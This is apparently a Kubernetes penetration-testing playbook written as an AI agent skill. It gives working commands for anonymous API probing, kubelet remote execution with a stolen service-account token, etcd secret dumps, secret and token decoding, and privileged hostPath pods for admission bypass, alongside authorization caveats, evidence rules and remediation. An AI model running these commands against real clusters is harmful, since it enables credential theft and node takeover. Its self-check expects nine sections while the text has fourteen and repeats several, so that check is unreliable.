k8s-assessment

Kubernetes security assessment playbook. Use when probing an API server, kubelet, etcd, dashboard, or ingress surface from outside or with limited credentials. Covers unauthenticated /version and /api

SKILL.md

GitHub

SKILL: Kubernetes Assessment — Exposure, Anonymous Access, and RBAC Enumeration

AI LOAD INSTRUCTION: Reachability first, authorization second — an exposed API server is not a finding until you show what an unauthenticated or low-privileged caller can read. Every probe here is a read (get, list, describe, auth can-i); never create, patch, delete, or exec on a live cluster without written authorization for that action.

0. RELATED ROUTING


1. API SERVER EXPOSURE AND UNAUTHENTICATED PROBES

The API server is the whole control plane in one endpoint; locate it first.

# Endpoint + creds (6443 secure, 8443 alt, 8080 legacy INSECURE):
kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}'; echo

# Unauthenticated surface: /version /api /apis /healthz; then the anonymous-read test
curl -sk https://API:6443/{version,api,apis,healthz}   # 200 = readable; 401/403 = auth enforced
curl -sk https://API:6443/api/v1/namespaces | jq -r '.items[].metadata.name'   # 200 = ANONYMOUS READ
curl -sk http://API:8080/version                       # legacy insecure port: any 200 = critical
Probe 200 means 401/403 means
/version build fingerprint (CVE-mappable) auth enforced even for version
/api/v1/namespaces anonymous read of cluster inventory anonymous has no list rights

Three different facts: --anonymous-auth=true permits unauthenticated requests; they arrive as user system:anonymous/group system:unauthenticated; the RBAC binding to that user or group is the real over-permission.

# Who grants rights to system:anonymous / system:unauthenticated (CRBs + RoleBindings):
kubectl get clusterrolebindings,rolebindings -A -o json | jq -r '.items[] | select((.subjects // [])[]? | (.name=="system:anonymous") or (.name=="system:unauthenticated")) | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name) -> \(.roleRef.name)"'
Binding Grants Verdict
system:discovery, system:public-info-viewer discovery, /version, /healthz to anonymous expected
system:anonymous → cluster-admin or a role with get secrets everything / secret read unauthenticated critical

2. KUBELET — 10250, 10255, AND THE EXEC/LOG ENDPOINTS

The kubelet API is a node-level control surface, routinely left reachable; 10250 is authenticated (TLS/client certs), 10255 read-only and historically unauthenticated.

# 10255 is unauthenticated read; 10250 needs a SA token when the kubelet accepts one:
curl -sk  http://NODE:10255/pods | jq -r '.items[].metadata.name' 2>/dev/null
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# Read leak -> command execution / credential-bearing logs on the node:
curl -sk -H "Authorization: Bearer $TOKEN" "https://NODE:10250/exec/kube-system/etcd/etcd?command=id&input=1&output=1&tty=0"   # exec in ANY container
curl -sk -H "Authorization: Bearer $TOKEN" "https://NODE:10250/containerLogs/kube-system/kube-apiserver/kube-apiserver?tailLines=100"   # logs
kubeletctl scan --cidr 10.0.0.0/24 && kubeletctl exec -s NODE_IP "id" -p POD -c CONTAINER
Endpoint Access needed Impact if reachable
/pods none (10255) or SA token pod inventory, IPs, node placement
/containerLogs/... SA token or anonymous log contents, frequently credentials
/exec/..., /run/... SA token with node rights command in any container / container creation

A 10250 accepting a SA token for /exec is escalation to every workload on that node including kube-system, whatever cluster RBAC says about pods/exec; the kubelet authorizes independently.


3. ETCD EXPOSURE

etcd holds every cluster object in plaintext unless encryption-at-rest (EaR) is on, Secrets included; an open 2379 with no client cert is full cluster disclosure.

etcdctl --endpoints=http://ETCD:2379 endpoint health
etcdctl --endpoints=http://ETCD:2379 get / --prefix --keys-only | head -50          # whole cluster state
etcdctl --endpoints=http://ETCD:2379 get /registry/secrets --prefix --print-value-only | head -100   # secrets dump
# prefix "k8s\x00" = NO encryption at rest (CIS 1.2.29/1.2.30 fail); k8s:enc: = encrypted.
Path Contents
/registry/secrets/<ns>/<name> every Secret, plaintext unless EaR enabled
/registry/pods, /registry/configmaps pod specs (incl. env secrets), configs, often credentials

4. DASHBOARD, INGRESS, AND THE EXPOSED SERVICE SURFACE

An exposed, low-auth dashboard gives pod exec in a browser — the highest-value web target.

curl -sk https://DASHBOARD/api/v1/namespaces | head -c 300                        # dashboard API proxy
# Modern proxies need an SA token; "skip" buttons and old kubectl-proxy dashboards did not.

# Ingress/Service inventory:
kubectl get ingress -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) host=\(.spec.rules[]?.host) tls=\((.spec.tls//[])|length)"'

# Probe exposed services, then scan cluster-wide:
for p in 6443 8080 10250 10255 2379 2380 3000 4194 9090; do
  timeout 2 bash -c "echo >/dev/tcp/NODE/$p" 2>/dev/null && echo "OPEN  $p"; done
kube-hunter --remote API_OR_NODE --report json
Exposure Why it matters Triage command
type: LoadBalancer on an internal service internet-reachable control plane kubectl get svc -A -o wide
Ingress without TLS, or wildcard host cleartext credentials; catches unmatched hostnames kubectl get ingress -A -o yaml
configuration-snippet annotation annotation injection → config/credential read inspect annotations

5. RBAC ENUMERATION

kubectl auth can-i --list is the most informative read a low-privilege identity can perform — effective permissions from every binding.

# Effective permission set, identity, and fastest high-value triage:
kubectl auth can-i --list                     # repeat with --all-namespaces
kubectl auth can-i get secrets --all-namespaces && kubectl auth can-i create pods/exec --all-namespaces

# Map the RBAC graph for dangerous primitives:
kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]? | (.verbs|index("*")) or (.resources|index("*"))) | "\(.metadata.name) verbs=\([.rules[].verbs[]]|unique) res=\([.rules[].resources[]]|unique)"'
kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name|test("cluster-admin|admin|edit")) | "\(.metadata.name) -> \(.roleRef.name) subjects=\([.subjects[]?.name]|join(","))"'
Effective permission Escalation Why
get/list secrets cluster-wide credential access every Secret decodes
create pods/exec execution in existing pods steals their SA tokens
create clusterrolebindings, escalate/bind, impersonate, * on * self-grant cluster-admin; act as admin RBAC escalation verbs

Distinguish scope: a namespaced RoleBinding to a wildcard Role is not a ClusterRoleBinding to cluster-admin; report kind, scope, and subject.


6. SERVICE-ACCOUNT TOKEN HUNTING AND SECRET DECODING

Service-account tokens are the most over-scoped credential in a cluster and are mounted by default.

# In-pod token (mounted path) unless automountServiceAccountToken: false; then decode + test it:
cat /var/run/secrets/kubernetes.io/serviceaccount/{token,ca.crt,namespace}
cut -d. -f2 /var/run/secrets/kubernetes.io/serviceaccount/token | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
kubectl auth can-i --list --as=system:serviceaccount:NS:SA    # claims name the SA to test

# Hunt tokens cluster-wide (legacy Secret tokens, projected volumes):
kubectl get secrets -A -o json | jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name) sa=\(.metadata.annotations["kubernetes.io/service-account.name"])"'
# K8s >=1.24 no longer auto-creates SA token Secrets; projected tokens are the modern form.

# Enumerate credential-bearing Secret types, then decode Opaque/generic and dockerconfigjson:
kubectl get secrets -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) type=\(.type) keys=\([.data|keys[]]|join(","))"'
kubectl get secret NAME -n NS -o jsonpath='{.data}' | jq -r 'to_entries[] | "\(.key)=\(.value|@base64d)"'
kubectl get secret REGCRED -n NS -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq .   # registry creds

# Env-mounted secrets leak via /proc or the pod spec:
tr '\0' '\n' < /proc/1/environ | grep -iE 'pass|token|key|secret'

7. ADMISSION CONTROLLER BYPASS

Admission controllers gate pod specs; an absent or bypassable one turns "can create pods" into "can own the node".

# Enabled plugins, namespace enforcement, webhooks:
kubectl get pod -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' | tr ',' '\n' | grep -i enable-admission-plugins
kubectl get ns NS -o jsonpath='{.metadata.labels}'; echo      # pod-security.kubernetes.io/enforce
kubectl get psp && kubectl auth can-i use podsecuritypolicy/privileged   # legacy PSP (<1.25)
kubectl get validatingwebhookconfigurations -o json | jq -r '.items[] | "\(.metadata.name) failurePolicy=\(.webhooks[].failurePolicy)"'
Control Bypass to test What to look for
Pod Security Admission namespace label missing/privileged pod-security.kubernetes.io/enforce absent
Validating webhook failurePolicy: Ignore + unreachable webhook fail-open admission
Namespace selector / resource scope webhook matches pods but not deployments the gap is the bypass
# --dry-run=server runs full admission without creating anything; "created (server dry run)" =
# the cluster WOULD admit this pod, which is the finding.
kubectl apply --dry-run=server -f - <<'YAML'
apiVersion: v1
kind: Pod
metadata: {name: admission-probe, namespace: NS}
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - {name: p, image: busybox, securityContext: {privileged: true}, volumeMounts: [{name: h, mountPath: /host}]}
  volumes: [{name: h, hostPath: {path: /}}]
YAML

Test workload kinds, not just kubectl run: policies often match pods only, so a Deployment or CronJob with the same spec reaches the node unruled.


8. EVIDENCE STANDARD

Evidence item Why it is required
Endpoint/port, full request, raw response with status; probe timestamp/source IP proof and audit-log correlation
Succeeding identity (system:anonymous, SA name, user) and the granting binding (name, kind, scope, subjects) "exposed" becomes "reachable by X"; names the root cause
Secret reads: name plus redacted first/last 4 chars; false positives (403/401 naming system:anonymous, readable /version, unbound permissive ClusterRole) proves access without exfiltration; none of the false positives is access

Report reachability and identity together — "port 10250 is open" is an observation; "the kubelet accepts the default SA token for /exec in kube-system, giving root execution on the node" is a finding.

Sequence: RECON → UNAUTH (/version /api /apis /healthz; anonymous namespaces) → NODE (10255; 10250 + SA token; /exec /containerLogs) → ETCD (keys-only, dump, EaR prefix) → WEB (ingress/svc, LB/NodePort, dashboard) → RBAC (can-i --list) → IDENTITY (SA tokens, JWT, secrets) → ADMIT (PSA, webhooks, dry-run) → EVIDENCE. Steps 2-4 are read-only; the dry-run exercises admission without creating an object.


9. REMEDIATION REFERENCE

  1. --anonymous-auth=false on the API server and every kubelet — and remove every system:anonymous / system:unauthenticated binding beyond the two required discovery roles.
  2. Keep the API server, kubelet, and etcd off untrusted networks — private endpoint for the API server, 10250 restricted to the node network, 10255 disabled entirely.
  3. Encrypt etcd at rest and require client certificates — CIS 1.2.29 and 1.2.30; an unauthenticated etcd is a full-cluster read.
  4. Eliminate RBAC wildcards and never bind cluster-admin to a workload identity — enumerate can-i --list output as a routine audit.
  5. Set automountServiceAccountToken: false by default and use short-lived projected tokens — a long-lived mounted token is the pivot primitive.
  6. Enforce Pod Security Standards with an unremovable label — namespace labels must not be editable by the workloads they constrain.
  7. Set failurePolicy: Fail on every security-relevant admission webhook — a fail-open webhook bypass for security policies is worse than no webhook, because it is assumed to be protecting.
  8. Alert on anonymous API reads, kubelet /exec and /run, direct etcd access, and secret get by workload identities — these are the highest-signal detections for the techniques in this file.



10. CONFIRMING THE FINDING

Step Question What it proves
1 Did the API endpoint answer you at all, and with what identity does it see you? reachability and the effective principal
2 For unauthenticated access: did it return objects, not a login page or a redirect? the exposure is real
3 Did you list a namespace's resources you were not scoped to? the RBAC gap, against a control
4 For a token: which ServiceAccount is it, and what can that SA do? the escalation available
5 Did you read a secret value, and what does it gate? impact, not just access
6 Did you execute in a pod or read its logs? the next capability up
7 For a kubelet or etcd exposure: did you retrieve cluster state through it? control-plane-adjacent impact

A 200 from the API with your own identity is not an exposure. The finding is a resource you can reach that the identity should not reach, or an anonymous identity that should not exist at all.


11. EXECUTION PRIMITIVES

Kubernetes findings are proven by kubectl auth can-i or a raw API call returning an object the identity should not see. Reachability alone is not a finding.

11.1 Establish the identity the cluster sees, and the control

API="https://10.0.0.1:6443"; TOK="PASTE_SA_TOKEN"; NS="default"
# who does the cluster think you are - before any resource access
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify auth whoami
curl -sk "$API/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}' | head -c 400; echo
# the control: a request that SHOULD be denied, recorded so the finding has a baseline
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify auth can-i list secrets -n kube-system

Record the can-i answers before and after. The permission matrix is the control, and it is the cheapest evidence to collect and the hardest to argue with.

11.2 The unauthenticated probes

# anonymous access: many clusters still allow the system:anonymous group something
curl -sk "$API/api/v1/namespaces" | head -c 300; echo
curl -sk "$API/api/v1/pods?limit=5" | head -c 300; echo
curl -sk "$API/version" | head -c 200; echo
# kubelet: the read-only port and the authenticated port, both probed separately
curl -sk "https://NODE_IP:10250/pods" | head -c 300; echo
curl -sk "https://NODE_IP:10255/pods" | head -c 300; echo
curl -sk "https://NODE_IP:10250/metrics" | head -c 200; echo
# and exec through the kubelet, which is code execution in any pod on that node
curl -sk "https://NODE_IP:10250/exec/$NS/$POD/$CONTAINER?command=id&output=1" | head -c 300; echo
# etcd, if reachable - the cluster's entire state and every secret
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify endpoint health
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify get / --prefix --keys-only | head -20

An anonymous 200 listing namespaces or pods is a finding, and it is one of the highest-frequency real exposures in the field. A 403 on all three is the expected, non-finding result.

11.3 RBAC enumeration that names the escalation

# what can this identity do, exhaustively, and what did it get from where
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify auth can-i --list
# the bindings that gave it those rights - the fix location
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get rolebindings,clusterrolebindings -A -o wide 2>/dev/null | head -20
# and the specific dangerous verbs, tested one at a time
for V in 'get secrets' 'list secrets' 'create pods' 'create pods/exec' 'create clusterrolebindings' 'impersonate users' 'get nodes'; do
  R=$(kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify auth can-i $V 2>/dev/null)
  printf '%-28s %s\n' "$V" "$R"
done

auth can-i --list plus the binding that granted each right is the complete RBAC finding. create pods/exec or impersonate in that list is a cluster-compromise primitive worth escalating.

11.4 Service-account tokens and the secrets they open

# where tokens live, in the pod and in the API
ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
# in-cluster, the token is the identity - use it against the API
TOK=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --server=https://kubernetes.default.svc --token="$TOK" --insecure-skip-tls-verify auth can-i --list 2>/dev/null | head -20
# and the legacy secret objects, which often hold a higher-privileged SA token
kubectl -n "$NS" get secrets -o json | python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
for s in d.get('items',[]):
    ann=s['metadata'].get('annotations',{})
    if 'service-account.name' in ann:
        print(s['metadata']['name'], ann['service-account.name'], 'token' in s.get('data',{}))"
# decode and use a found token rather than stopping at the decode
python3 -c "
import base64,json,sys
t=base64.b64decode('PASTE_DATA').decode()
print('token length:',len(t),'| JWT:',t.count('.')==2)
print(json.loads(base64.urlsafe_b64decode(t.split('.')[1]+'==')) if t.count('.')==2 else '')"

A decoded token is a finding only once you use it. The use - an API call under that SA's identity, with the returned data - is what the report needs.

11.5 Admission-control bypass

# which webhooks are installed, and which namespaces they exclude - the exclusion is the bypass
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
for w in json.load(sys.stdin)['items']:
    for wh in w.get('webhooks',[]):
        ns=wh.get('namespaceSelector',{}); ob=wh.get('objectSelector',{})
        rules=wh.get('rules',[])
        print(w['metadata']['name'], '| failPolicy:', wh.get('failurePolicy'),
              '| nsSelector:', ns.get('matchExpressions'), '| rules:', len(rules))"
# and the classic bypasses, each tested by the outcome
# 1) run in a namespace the selector excludes
kubectl -n kube-public run poc --image=alpine --restart=Never --command -- sleep 30 2>&1 | head -2
# 2) a workload type the webhook does not cover (a CronJob where only Pod is matched)
kubectl -n "$NS" create -f /tmp/cronjob.yaml 2>&1 | head -2
# 3) the namespaceSelector label, if the cluster's namespaces are self-labelable
kubectl --token="$TOK" label ns "$NS" policy=exempt 2>&1 | head -2

The bypass is proved by the workload existing. A policy that accepted a pod it should have rejected is the finding; the workload list containing your pod, running, is the evidence.

11.6 Naming the impact with the control

# the control identity, without the right, performing the same call
kubectl --server="$API" --insecure-skip-tls-verify get secrets -n kube-system 2>&1 | head -3
# and the same call with the discovered identity
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get secrets -n kube-system -o json 2>/dev/null \
  | python3 -c "import json,sys;d=json.load(sys.stdin);print('secrets visible:',len(d.get('items',[])))"
# end at something with real impact
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify exec -n kube-system "$POD" -- id 2>&1 | head -2

Always pair the call with the control. "We could list secrets in kube-system" is only a finding if the same call fails without the token you found.

11.7 A harness over the probe set

python3 - <<'PY'
import subprocess,json
API="https://10.0.0.1:6443"; TOK="PASTE"
probes=[
 ("version",             ["curl","-sk","-o","/dev/null","-w","%{http_code}",f"{API}/version"]),
 ("namespaces-anon",     ["curl","-sk","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/namespaces"]),
 ("pods-anon",           ["curl","-sk","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/pods"]),
 ("kubelet-10250",       ["curl","-sk","-o","/dev/null","-w","%{http_code}","https://NODE:10250/pods"]),
 ("kubelet-10255",       ["curl","-sk","-o","/dev/null","-w","%{http_code}","https://NODE:10255/pods"]),
 ("api-authenticated",   ["curl","-sk","-o","/dev/null","-w","%{http_code}","-H",f"Authorization: Bearer {TOK}",f"{API}/api/v1/namespaces/kube-system/secrets"]),
]
for n,c in probes:
    try: r=subprocess.run(c,capture_output=True,text=True,timeout=20); print(f"{n:22} {r.stdout.strip()}")
    except Exception as e: print(f"{n:22} ERR {e}")
print()
print("200 - or 40x with a meaningful body - is what to record. A 401/403 is the expected negative.")
print("For each 200, follow with a real object read and a control call without the credential.")
PY

Record the whole probe set, including the negatives. A report that shows only the 200s hides the fact that half the surface was closed, which is information the client needs.


12. EVIDENCE STANDARD — CLUSTER ARTEFACTS

Item Why
The endpoint and the exact request (with the token redacted) reproducibility
The identity the cluster resolved for that request scope of the finding
The returned object count or a redacted sample proof of access, without leaking secrets
The auth can-i result for the failing control identity proves escalation
The Role/RoleBinding or ClusterRoleBinding that granted the right the fix location
For a webhook bypass: the selector or rule gap and the created workload cause and effect
For a token: the ServiceAccount name and its effective permissions the escalation available
Whether the credential is mounted into a workload or held outside blast radius
Audit-log fields (user.username, objectRef, verb) the activity would produce the blue-team half
Confirmation that any test workload was deleted engagement integrity

Report the exposure and its reach: "the API server at 10.0.0.1:6443 answered /api/v1/namespaces with 200 and the full namespace list for an unauthenticated request, and /api/v1/pods returned 214 pods across all namespaces including kube-system; the same requests with a valid low-privilege token are 403, so the gap is the anonymous group's binding, not the token; the system:unauthenticated group holds system:discovery plus a project-added view ClusterRole", never "the API server is exposed".

False positives - do not report these

Observation Why it is not a finding
200 on /version or /healthz these are intentionally public
A 401/403 on every probe the expected secure state
Anonymous access to system:discovery API groups built-in and by design
A token that decodes but which you could not use no access results
A readable secret holding a non-credential value (a config map-like entry) check the contents before claiming impact
create pods denied but create pods/exec not tested test both; they are different verbs
A webhook that exists but whose policy is enforced test the bypass, do not infer it
Metrics endpoints on the kubelet usually unauthenticated by design; check what they expose
A default ServiceAccount token with no bindings no permissions, no finding
A finding against a kind/minikube cluster you built tests your own environment
A secret value reproduced in the report a disclosure

Reachability is not access, and access is not impact. Each step needs its own artefact.


13. REMEDIATION REFERENCE — CLUSTER HARDENING

  1. Disable anonymous authentication (--anonymous-auth=false) on the API server and the kubelet, and remove the system:unauthenticated bindings - anonymous access is a configuration choice, and this is its exact reversal.
  2. Never expose the kubelet's 10255 read-only port, and require authentication plus authorization on 10250 - the read-only port has no authorization at all.
  3. Restrict etcd to the control plane with mutual TLS, and never expose 2379 - etcd holds every secret in the cluster unencrypted.
  4. Apply least privilege to every ServiceAccount, and disable token automounting (automountServiceAccountToken: false) where the workload does not call the API - most pods never need a token.
  5. Bound the system:serviceaccounts group carefully, and avoid wildcard verbs and resources - a single */* binding is cluster-admin by another name.
  6. Guard the escalation verbs explicitly: create pods/exec, create pods/portforward, impersonate, escalate, bind, and create clusterrolebindings - these are the four-or-five-way doors into cluster control.
  7. Enable audit logging with a policy that records secret reads and RBAC changes, and ship it off-cluster - the evidence for everything in this document comes from the audit log.
  8. Encrypt secrets at rest with a KMS provider, and rotate the encryption key - it does not stop a token with secret-read rights, but it makes a stolen etcd backup far less useful.
  9. Make admission webhooks fail closed, and audit their namespaceSelector and rule coverage for gaps - the common bypasses are selector and workload-type gaps.
  10. Keep the container runtime and Kubernetes patched, and use a policy engine that rejects privileged pods, host path mounts, and host namespace sharing - most escapes in this document begin with one of those three.
  11. Rotate ServiceAccount tokens with short lifetimes (--service-account-max-token-expiration) and avoid long-lived projected tokens - it bounds the usefulness of a stolen token.

14. RELATED SIBLINGS - LOAD TOGETHER


SELF-VERIFY

Run from this directory; every check must pass before the playbook is considered loaded.

f=SKILL.md; [ -f "$f" ] || f=skills/impl/k8s-assessment/SKILL.md
wc -c "$f"                                       # expect 12000-15000
grep -c '^## [0-9]' "$f"                         # expect 9 numbered sections (1-9)
d=$(dirname "$f"); grep -oE '\]\(\.\./[^)]+\)' "$f" | tr -d '](' | sed 's/)$//' | sort -u |
  while read -r p; do [ -f "$d/$p" ] || [ -f "skills/impl/$p" ] && echo "OK   $p" || echo "DEAD $p"; done
for t in 'system:anonymous' 'system:unauthenticated' 'auth can-i --list' '10250' '10255' \
         'containerLogs' '/exec/' '/run/' '2379' '/registry/secrets' 'dockerconfigjson' \
         'pod-security.kubernetes.io/enforce' 'hostPath' '/api/v1/namespaces' '/version'; do
  grep -q "$t" "$f" && echo "PASS $t" || echo "MISS $t"; done